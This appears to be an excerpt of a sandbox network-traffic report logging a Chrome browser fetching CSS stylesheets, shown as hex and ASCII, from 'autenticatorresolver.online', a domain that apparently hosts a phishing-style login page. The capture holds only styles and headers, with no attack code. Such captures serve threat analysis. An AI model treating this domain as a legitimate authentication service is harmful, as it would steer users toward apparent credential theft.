2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 63 28 31 2e 35 32 35 72 65 6d 20 2b 20 33 2e 33 76 77 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 64 69 73 70 6c 61 79 2d 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 72 65 6d 7d 7d 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 34 37 35 72 65 6d 20 2b 20 32 2e 37 76 77 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 2e 35 72 65 6d 7d 7d 2e 64 69 73 70 6c 61 79 2d 35 7b 66 6f 6e 74 2d 73 69 7a Data Ascii: c(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-siz
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 2e 37 35 72 65 6d 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 2c 2e 37 35 72 65 6d 29 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 35 34 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 6d 61 78 2d 77 69 64 74 68 3a 37 32 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b Data Ascii: .75rem);padding-left:var(--bs-gutter-x,.75rem);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 36 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 36 36 37 25 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6c 2d 6d 64 7b 66 6c 65 78 3a 31 Data Ascii: -2>{flex:0 0 auto;width:50%}.row-cols-sm-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>{flex:0 0 auto;width:25%}.row-cols-sm-5>{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}}@media (min-width:768px){.col-md{flex:1
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 31 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 78 78 6c 2d 36 3e 2a 7b 66 6c 65 Data Ascii: ;width:auto}.row-cols-xxl-1>{flex:0 0 auto;width:100%}.row-cols-xxl-2>{flex:0 0 auto;width:50%}.row-cols-xxl-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>{flex:0 0 auto;width:25%}.row-cols-xxl-5>{flex:0 0 auto;width:20%}.row-cols-xxl-6>{fle
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 2e 67 78 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 7d 2e 67 2d 34 2c 2e 67 79 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 2e 35 72 65 6d 7d 2e 67 2d 35 2c 2e 67 78 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 33 72 65 6d 7d 2e 67 2d 35 2c 2e 67 79 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 33 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 73 6d 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 32 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 Data Ascii: .gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:1
2024-12-10 14:09:17 UTC	1378	IN	Data Raw: 2d 73 6d 2d 34 2c 2e 67 78 2d 73 6d 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 2e 35 72 65 6d 7d 2e 67 2d 73 6d 2d 34 2c 2e 67 79 2d 73 6d 2d 34 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 2e 35 72 65 6d 7d 2e 67 2d 73 6d 2d 35 2c 2e 67 78 2d 73 6d 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 33 72 65 6d 7d 2e 67 2d 73 6d 2d 35 2c 2e 67 79 2d 73 6d 2d 35 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 33 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 6d 64 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 63 6f Data Ascii: -sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49760	104.21.64.1	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:18 UTC	593	OUT	GET /assets/global/pdf/css/app.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/ryzm5vdi Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:18 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:09:18 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Sun, 15 Dec 2024 21:47:40 GMT etag: W/"17e2-66d40740-10b4bb;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 145298 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E3QaosiTHz2RibiFy%2BhT7oUx%2FRCnIvVkXYRCCIYemhFYbeefd9rNyI7N%2FS2FyJRGkDTesJkTXh1jqnHw4M4dKs8sDCVk2cQI1W29cN3Xw1COjvIQZNYSVRqt3Vxl8B5ApOhX%2F3TvIspyfgp6FXA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efdcfdc193c4339-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1590&rtt_var=614&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2872&recv_bytes=1171&delivery_rate=1756919&cwnd=227&unsent_bytes=0&cid=ec8deda82057a6e9&ts=455&x=0"
2024-12-10 14:09:18 UTC	387	IN	Data Raw: 31 37 65 32 0d 0a 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 62 6f 64 79 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 61 64 75 67 69 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 54 75 6e 67 61 2c 22 4c 61 6f 20 55 49 22 2c 52 61 61 76 69 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 4c 61 Data Ascii: 17e2 *{box-sizing:border-box}body{font-weight:400;font-family:"Segoe UI",-apple-system,"Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",La
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 29 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c Data Ascii: Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";font-size:0.9375rem;line-height:1.25rem;margin:0px;background-color:rgb(255,255,255)}button,input{font-weight:inherit;font-famil
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 7d 2e 66 31 74 79 71 30 77 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 7d 2e 66 31 31 71 6d 67 75 76 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 7d 2e 66 31 75 69 6e 66 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 78 7d 2e 66 31 6a 6c 68 73 6d 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 66 31 39 66 34 74 77 76 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 7d 2e 66 31 68 75 33 70 71 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 7d 2e 66 31 37 6d 63 63 6c 61 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 31 39 64 6f 67 38 61 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 7d 2e 66 32 31 63 63 62 74 3e 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 Data Ascii: kground-image:none}.f1tyq0we{margin-left:0px}.f11qmguv{margin-right:0px}.f1uinfot{margin-top:16px}.f1jlhsmd{margin-bottom:12px}.f19f4twv{margin-bottom:0px}.f1hu3pq6{margin-top:0px}.f17mccla{text-align:center}.f19dog8a{position:fixed}.f21ccbt>div:nth-child
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 66 66 39 73 33 79 77 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 66 31 70 68 6b 69 34 33 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 2e 66 31 62 73 6a 72 6d 33 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 66 31 6d 68 34 37 7a 68 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 33 70 78 7d 2e 66 38 32 69 74 61 66 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 7d 2e 66 31 32 6b 6c 74 73 6e 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 66 38 78 6c 7a 36 67 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 66 31 63 6d 62 75 77 6a 7b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 7d 2e 66 31 39 70 68 38 38 62 7b 6d Data Ascii: hite-space:nowrap}.ff9s3yw{margin-left:8px}.f1phki43{margin-right:8px}.f1bsjrm3{text-decoration:none}.f1mh47zh{letter-spacing:3px}.f82itaf{line-height:22px}.f12kltsn{vertical-align:top}.f8xlz6g{line-height:24px}.f1cmbuwj{text-overflow:ellipsis}.f19ph88b{m
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 78 7d 2e 66 6e 70 6d 33 6c 20 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 36 70 78 7d 2e 66 73 63 33 6d 76 6f 20 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 70 78 7d 2e 66 31 73 36 36 72 74 30 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 37 33 75 67 7a 31 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 35 69 76 33 37 30 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 35 30 2c 35 30 2c 35 30 29 7d 2e 66 31 69 77 38 76 76 35 20 69 6e 70 75 74 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 Data Ascii: x}.fnpm3l input{padding-bottom:6px}.fsc3mvo input{padding-left:0px}.f1s66rt0 input:hover{border-top-color:rgb(50,50,50)}.f73ugz1 input:hover{border-right-color:rgb(50,50,50)}.f5iv370 input:hover{border-left-color:rgb(50,50,50)}.f1iw8vv5 input:hover{border
2024-12-10 14:09:18 UTC	259	IN	Data Raw: 30 2c 30 2c 30 2c 30 2e 32 29 7d 2e 66 76 36 70 34 6e 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 39 65 78 37 35 37 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 62 6e 37 71 62 79 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 71 76 38 39 35 62 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 79 78 35 39 37 36 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 72 67 62 28 30 2c 31 30 33 2c 31 38 34 29 7d 2e 66 31 69 72 65 74 77 38 7b 63 6f 6c 6f 72 3a 72 67 62 28 32 35 35 2c 32 35 35 2c 32 35 35 Data Ascii: 0,0,0,0.2)}.fv6p4nl{background-color:rgb(0,103,184)}.f9ex757{border-top-color:rgb(0,103,184)}.f1bn7qby{border-right-color:rgb(0,103,184)}.fqv895b{border-left-color:rgb(0,103,184)}.f1yx5976{border-bottom-color:rgb(0,103,184)}.f1iretw8{color:rgb(255,255,255
2024-12-10 14:09:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49761	104.21.64.1	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:18 UTC	594	OUT	GET /assets/global/pdf/css/conf.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/ryzm5vdi Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:18 UTC	979	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:09:18 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Sun, 15 Dec 2024 21:47:40 GMT etag: W/"5a2-66d40740-10b4ba;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 145298 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CW58yHqHlgI5BjLZyvTYdQOYR0IVGNM6lbLFEyebDHARS9gbLRWHD2a2VWmglOLo7xXo1fcOyWokg0bfrKDZ6l7Bz6ezrxYs%2FEHaMFPrVterljkt%2BOXMxy4BD1ggNq%2BuWIPKe0vj06gel9eWjzo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efdcfdc19507277-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1928&min_rtt=1928&rtt_var=723&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2871&recv_bytes=1172&delivery_rate=1513737&cwnd=225&unsent_bytes=0&cid=88f389816f00bd0d&ts=453&x=0"
2024-12-10 14:09:18 UTC	390	IN	Data Raw: 35 61 32 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 74 32 73 71 78 6b 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 6f 34 74 61 61 78 7b 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 72 69 67 68 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 31 74 32 73 71 78 6b 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 31 6f 34 74 61 61 78 7b 30 25 Data Ascii: 5a2@-webkit-keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@-webkit-keyframes f1o4taax{0%{right:0px;opacity:1}100%{right:-200px;opacity:0}}@keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@keyframes f1o4taax{0%
2024-12-10 14:09:18 UTC	1059	IN	Data Raw: 6b 65 79 66 72 61 6d 65 73 20 66 61 64 70 67 72 70 7b 30 25 7b 72 69 67 68 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 72 32 65 32 69 76 7b 30 25 7b 6c 65 66 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 70 67 72 70 7b 30 25 7b 72 69 67 68 74 3a 32 30 30 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 72 69 67 68 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 31 77 6a 39 34 72 6c 7b 30 25 7b 6c 65 66 74 3a 30 70 78 3b 6f 70 61 63 69 74 79 3a Data Ascii: keyframes fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@keyframes fr2e2iv{0%{left:200px;opacity:0}100%{left:0px;opacity:1}}@keyframes fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@-webkit-keyframes f1wj94rl{0%{left:0px;opacity:
2024-12-10 14:09:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49759	104.21.64.1	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:18 UTC	594	OUT	GET /assets/global/pdf/css/conn.css HTTP/1.1 Host: autenticatorresolver.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://autenticatorresolver.online/fl/ryzm5vdi Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:18 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:09:18 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Sun, 15 Dec 2024 21:47:40 GMT etag: W/"338e-66d40740-10b4b9;br" last-modified: Sun, 01 Sep 2024 06:18:40 GMT vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 145298 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D3ulAWyhp5pRwfL3BdZC%2B%2FXD6n3aiDRittuNbVn43Dgtod5BaM4c2XNZP1CGIUYneYPZXM4Vq6SOyNRYcKJjs50Y2XsWuKMT3D0WUU11YYUaE7FSu8y57B%2FzDF5Y4%2Fw3L5tFY1CxASrvkLezUIE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efdcfdc1a32729e-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2057&min_rtt=2055&rtt_var=776&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2871&recv_bytes=1172&delivery_rate=1405197&cwnd=164&unsent_bytes=0&cid=6c941b0c7f61713c&ts=461&x=0"
2024-12-10 14:09:18 UTC	387	IN	Data Raw: 33 33 38 65 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 68 69 68 79 70 77 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 68 64 78 70 6e 32 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 